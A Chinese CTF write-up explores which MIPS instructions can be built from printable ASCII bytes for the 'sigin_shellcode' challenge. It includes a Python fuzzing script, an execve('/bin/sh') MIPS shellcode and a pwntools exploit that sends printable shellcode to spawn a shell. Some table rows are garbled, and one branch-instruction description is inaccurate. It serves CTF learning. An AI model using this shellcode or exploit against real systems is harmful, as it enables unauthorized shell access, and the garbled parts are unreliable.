前言
mips汇编指令基础
寄存器
$0
至$31
HI
、LO
寄存器名 | 别名 | 用途 |
---|---|---|
$0 | $zero | 静态常量0 |
$1 | $at | 保留给汇编器 |
3 | v1 | 存放函数调用的返回值 |
7 | a3 | 函数或系统调用的参数 |
15 | t7 | 临时寄存器 |
23 | s7 | 保存寄存器(一般用于保存调用者函数的现场) |
25 | t9 | 临时寄存器 |
$28 | $gp | 全局指针 |
$29 | $sp | 堆栈指针 |
$30 | $fp | 帧指针 |
$31 | $ra | 存放返回地址 |
HI LO | 无 | 用于存储乘法和除法操作的结果 |
指令格式
R型指令
[ 6 bits ][ 5 bits ][ 5 bits ][ 5 bits ][ 5 bits ][ 6 bits ]
[ 000000 ][ 00000 ][ 00000 ][ 00000 ][ 00000 ][ 000000 ]
[ opcode ][ rs ][ rt ][ rd ][ shamt ][ funct ]
-
opcode:操作码,用于指示指令类型。对于R类型指令,opcode始终为0 -
rs:源寄存器1 -
rt:源寄存器2 -
rd:目标寄存器,用于存储操作结果 -
shamt:位移量,用于移位操作 -
funct:功能码,用于指定特定的操作,如加法、减法等
funct
来进行的。I型指令
[ 6 bits ][ 5 bits ][ 5 bits ][ 16 bits ]
[ 000000 ][ 00000 ][ 00000 ][0000000000000000]
[ opcode ][ rs ][ rt ][ immediate ]
-
opcode:操作码 -
rs:源寄存器 -
rt:目标寄存器 -
immediate:立即数,可以是有符号或无符号数
J型指令
[ 6 bits ][ 26 bits ]
[ 000000 ][00000000000000000000000000]
[ opcode ][ address ]
-
opcode:操作码
-
address:跳转目标地址。为了计算实际的跳转地址,这个 26 位值会左移 2 位(因为 MIPS 指令地址总是 4 字节对齐的),然后与当前指令地址的高 4 位拼接。
可见字符组合指令
I型指令
I
型指令一般由6bits opcode
与5bits
源寄存器(rs
)、5bits
目标寄存器(rt
)还有16bits
立即数组成I
型指令在构成上有一些变化,例如不使用 rt
字段或rs
字段。这些我将分开fuzz
。一般I型fuzz
8bits
表示)def get_all_opcode():
for i in range(0x21, 0x7e + 1):
bin_i = bin(i)[2:]
if len(bin_i) == 6:
bin_i = "00"+bin_i
opcode.append(bin_i)
else:
bin_i = "0"+bin_i
opcode.append(bin_i)
print(opcode)
info("Function get_all_opcode Over")
rs
(源寄存器)、rt
(目标寄存器)与立即数,直接构造指令来查看能有那些指令能用。I.txt
中。def find_I_instruction(rs,rt,savefile):
# rs = "00011" # 3
# rt = "00010" # 2
imm = "1000000000000001" # 0x8001
f = open(savefile,"a+")
for i in opcode:
chr_i = chr(int(i,2))
instruction = i[:6] + rs + rt + imm
# print(len(instruction))
# pause()
int_value = int(instruction, 2)
num_bytes = (len(instruction) + 7) // 8
byte_data = int_value.to_bytes(num_bytes, byteorder='little')
with open("test_bin", 'wb') as e:
e.write(byte_data)
e.close()
command = "mipsel-linux-gnu-objdump -D -b binary -m mips -EL test_bin"
f.write(chr_i+"_"+hex(int(i,2))+"_"+i[:6])
f.write(run_command(command)+"n")
f.close()
info("Function find_I_instruction Over")
I.txt
去重之后的结果!_0x21_001000
0: 20628001 addi v0,v1,-32767
"_0x22_001000
0: 20628001 addi v0,v1,-32767
#_0x23_001000
0: 20628001 addi v0,v1,-32767
$_0x24_001001
0: 24628001 addiu v0,v1,-32767
%_0x25_001001
0: 24628001 addiu v0,v1,-32767
&_0x26_001001
0: 24628001 addiu v0,v1,-32767
'_0x27_001001
0: 24628001 addiu v0,v1,-32767
(_0x28_001010
0: 28628001 slti v0,v1,-32767
)_0x29_001010
0: 28628001 slti v0,v1,-32767
*_0x2a_001010
0: 28628001 slti v0,v1,-32767
+_0x2b_001010
0: 28628001 slti v0,v1,-32767
,_0x2c_001011
0: 2c628001 sltiu v0,v1,-32767
-_0x2d_001011
0: 2c628001 sltiu v0,v1,-32767
._0x2e_001011
0: 2c628001 sltiu v0,v1,-32767
/_0x2f_001011
0: 2c628001 sltiu v0,v1,-32767
0_0x30_001100
0: 30628001 andi v0,v1,0x8001
# ......太长不放出来了
jalx
是J
型指令,因为opcode
都是6bits,所以可以fuzz
出来。特殊I型fuzz
rs为0的情况
def find_I_rs():
for i in opcode:
for j in opcode:
rs = i[6:]+j[:3]
print("RS "+str(int(rs,2)))
if rs=="00000":
print("Get")
pause()
info("Function find_I_rs Over")
rs
为0
的情况,故不考虑该情况。rt为0的情况
def find_I_rt():
for i in opcode:
rt = i[3:]
print("RT "+str(int(rt,2)))
if rt=="00000":
print("Get")
pause()
info("Function find_I_rt Over")
rt
为0
的情况,因为rt
在第二个可见字符上,所以所有当前可用的指令都可以存在rt
为0
的情况。fuzz
函数,只是将rt
置0
。将得到的结果与一般的指令用WinMerge
进行对比。(1)beqzl
与beql
beqzl $t0, local_random # $t0=0 则跳转到 local_random
sw $t1, 0($t1) # 延迟槽
lw $a0, 0($t1)
beqzl
与 beqz
的区别(不是beql
)beqzl
判断成立,也就是$t0
等于0
,那么它会执行分支延迟槽里的指令(sw $t1, 0($t1)
),而如果beqzl
判断不成立,则不会执行延迟槽内的指令。beqz
无论真假都会执行延迟槽里的语句beql
:两个寄存器相等时进行跳转(2)bnezl
与bnel
bnezl
与bnel
的区别类似于beqzl
与 beqz
的区别。bnezl
:当rs
不为0
时,跳转到当前指令地址+offset
(就是指令最后的操作数)所指向的地址。判断条件为真时才执行延迟槽指令。bnel
:当两个寄存器不相等时,跳转到地址+offset
所指向的地址。无论判断条件真假都会执行延迟槽指令。(3)blezl
blezl
:当rs
的值小于等于0
时,跳转到当前指令地址+offset
(就是指令最后的操作数)所指向的地址。判断条件为真时才执行延迟槽指令。(4)bgtzl
bgtzl
:当rs
的值大于等于0
时,跳转到当前指令地址+offset
(就是指令最后的操作数)所指向的地址。判断条件为真时才执行延迟槽指令。I型指令
:addi # 0x21 - 0x23
addiu # 0x24 - 0x27
slti # 0x28 - 0x2b
sltiu # 0x2c - 0x2f
andi # 0x30 - 0x33
ori # 0x34 - 0x37
xori # 0x38 - 0x3b
beql # 0x50 - 0x53
bnel # 0x54 - 0x57
daddi # 0x60 - 0x64
daddiu # 0x64 - 0x67
ldl # 0x68 - 0x6b
ldr # 0x6c - 0x6f
beqzl(rt=0) # 0x50 - 0x53
bnezl(rt=0) # 0x54 - 0x57
blezl(rt=0) # 0x58 - 0x5b
bgtzl(rt=0) # 0x5c - 0x5f
result.txt
中。J型指令
J型指令
由 6bits opcode
与26bits
立即数组成fuzz
,就只有jalx
一个能用。jalx
:执行完延迟槽指令之后,将立即数左移两位作为地址进行跳转并更改指令集架构为microMIPS32
或 MIPS16e
jalx
指令在 Release 6
版本中已被移除,如果处理器不支持 microMIPS
基本架构或 MIPS16e ASE(Application Specific Extension)
,则会触发保留指令异常。R型指令
R型指令
的opcode
必须是0
,很显然在可见字符的范围内并没有前6bits
都为0
的情况。shellcode
mips
执行一次简单的syscall
调用只需如下步骤:-
首先将参数放入 $a0-$a3
,多出来的参数要放到栈上 -
将系统调用号放入 $v0
-
执行 syscall
shellcode
,execve('/bin/sh',0,0)
系统调用# 将//bin/sh 放入$a0 $a1
li $a0, 0x69622f2f
li $a1, 0x68732f6e
# 将$a0与$a1的值分别存储到栈上
sw $a0, -8($sp)
sw $a1, -4($sp)
# 将//bin/sh字符串的地址放入$a0
addiu $a0, $sp, -8
# $a1 $a2置零
li $a1, 0
li $a2, 0
# execve系统调用号4011
li $v0, 4011
syscall
总结
I型指令
。只用这些指令想实现系统调用shellcode
基本上是不可能的(更何况没有syscall
)fuzz
脚本# merge函数将给出形如下面四行的result.txt
# !! 0x21 RS Num: 9 RT 0x21 1
# !" 0x21 RS Num: 9 RT 0x22 2
# !# 0x21 RS Num: 9 RT 0x23 3
# !$ 0x21 RS Num: 9 RT 0x24 4
# 字符 第一个字符的十六进制 rs寄存器号 第二个字符的十六进制 rt寄存器号
import subprocess
from itertools import product
from pwn import *
def run_command(command):
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True, shell=True)
return result.stdout
def get_all_opcode():
for i in range(0x21, 0x7e + 1):
bin_i = bin(i)[2:]
if len(bin_i) == 6:
bin_i = "00"+bin_i
opcode.append(bin_i)
else:
bin_i = "0"+bin_i
opcode.append(bin_i)
print(opcode)
info("Function get_all_opcode Over")
def find_I_instruction(rs,rt,savefile):
# rs = "00011" # 3
# rt = "00010" # 2
imm = "1000000000000001" # 0x8001
f = open(savefile,"a+")
for i in opcode:
chr_i = chr(int(i,2))
instruction = i[:6] + rs + rt + imm
# print(len(instruction))
# pause()
int_value = int(instruction, 2)
num_bytes = (len(instruction) + 7) // 8
byte_data = int_value.to_bytes(num_bytes, byteorder='little')
with open("test_bin", 'wb') as e:
e.write(byte_data)
e.close()
command = "mipsel-linux-gnu-objdump -D -b binary -m mips -EL test_bin"
f.write(chr_i+"_"+hex(int(i,2))+"_"+i[:6])
f.write(run_command(command)+"n")
f.close()
info("Function find_I_instruction Over")
def find_I_rs():
f = open("rs.txt","a+")
for i in opcode:
for j in opcode:
hex_i = hex(int(i,2)) # 第一个字符的十六进制,方便查询操作指令
print(chr(int(i,2))+chr(int(j,2))+" "+hex_i) # 前两个字符
rs = i[6:]+j[:3]
print("RS "+"Num: "+str(int(rs,2))+"n")
f.write(chr(int(i,2))+chr(int(j,2))+" "+hex_i+" "+"RS "+"Num: "+str(int(rs,2))+"nn")
# if rs=="00000":
# print("Get")
# pause()
f.close()
info("Function find_I_rs Over")
# rt是第二个可见字符剩余的部分
def find_I_rt():
f = open('rt.txt',"a+")
for i in opcode:
print(chr(int(i,2))) # 第二个字符
hex_i = hex(int(i,2))
rt = i[3:]
print("RT "+hex_i+" "+str(int(rt,2))+"n")
f.write(chr(int(i,2))+" "+"RT "+hex_i+" "+str(int(rt,2))+"nn")
# if rt=="00000":
# print("Get")
# pause()
f.close()
info("Function find_I_rt Over")
def find_I_imm():
for i in opcode:
for j in opcode:
print(i+j)
def merge():
rt = {}
with open("rt.txt", "r") as f:
for line in f:
if line=="n":
continue
else:
rt[line.split( )[0]] = line.split( )[1]+" "+line.split( )[2]+" "+line.split( )[3]
# print(rt)
f.close()
rt_list = []
with open("rs.txt", "r") as f:
for line in f:
if line=="n":
continue
else:
for key in rt:
if line[1:2]==key:
rt_list.append(line.replace("n"," ") + rt[key])
# print(line.replace("n"," ") + rt[key])
print(rt_list)
f.close()
with open("result.txt","a+") as f:
for i in rt_list:
f.write(i+"n")
f.close()
if __name__ == "__main__":
opcode = []
get_all_opcode()
# find_I_instruction(rs='00011',rt='00010',savefile="I.txt")
# find_I_rs()
# find_I_rt()
# find_I_instruction(rs='00011',rt='00000',savefile="I_spec_rt.txt")
# find_I_imm()
merge()
WriteUp
qemu-mipsel-static -L ./ pwn
qemu-mipsel-static -L ./ -g 1234 pwn
# 在1234端口启动监听
gdb-multiarch
set arch mips
target remote :1234
file /home/pwn/Desktop/test/pwn # 我没去除调试符号,所以可以加载
-
下一层 -
退出 -
商店
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
# file_path = './test'
p = process(b"""
qemu-mipsel-static -L ./
./test """, shell = True)
# p = remote("127.0.0.1",9999)
def down():
p.sendlineafter("Go>",str(1))
list = ['0', '1', '2', '1', '4', '5', '4', '5', '8', '9', '8', '5', '5', '11', '14', '5', '16', '17', '5', '9', '11', '19', '3', '5', '4', '5', '17', '25', '14', '29', '30', '5', '8', '33', '4', '17', '32', '5', '5', '29', '33', '11', '0', '41', '44', '3', '6', '5', '46', '29', '50', '5', '47', '17', '19', '53', '5', '43', '52', '29', '32', '61', '53', '5', '44', '41', '60', '33', '26', '39', '1', '53', '52', '69', '29', '5', '74', '5', '29', '69', '44', '33', '36', '53', '84', '43', '14', '85', '81', '89', '18', '49', '92', '53', '24', '5', '93', '95','8',"29"]
for i in range(98):
down()
p.sendlineafter("How much do you want?n",list[i])
p.sendlineafter("Go>",str(3))
p.sendlineafter("> ",str(2))
down()
p.sendlineafter("How much do you want?n","8")
p.sendlineafter("Go>",str(3))
p.sendlineafter("> ",str(3))
p.sendlineafter("Go>",str(1))
p.sendlineafter("How much do you want?n","29")
p.sendafter("Shellcode > ","00%)00&)");
p.interactive()
非预期
参考
-
https://valeeraz.github.io/2020/05/08/architecture-mips/ -
https://wololo.net/talk/viewtopic.php?t=12427 -
https://www.cs.unibo.it/~solmi/teaching/arch_2002-2003/AssemblyLanguageProgDoc.pdf -
http://www.w3cbank.org/See_MIPS_Run-2nd_edition-Chinese-All-201412.pdf -
http://hades.mech.northwestern.edu/images/1/16/MIPS32_Architecture_Volume_II-A_Instruction_Set.pdf -
https://chat.openai.com/
+ + + + + + + + + + +
+ + + + + + + + + + +
原文始发于微信公众号(春秋伽玛):从春秋杯sigin_shellcode到mips可见字符组合指令的探索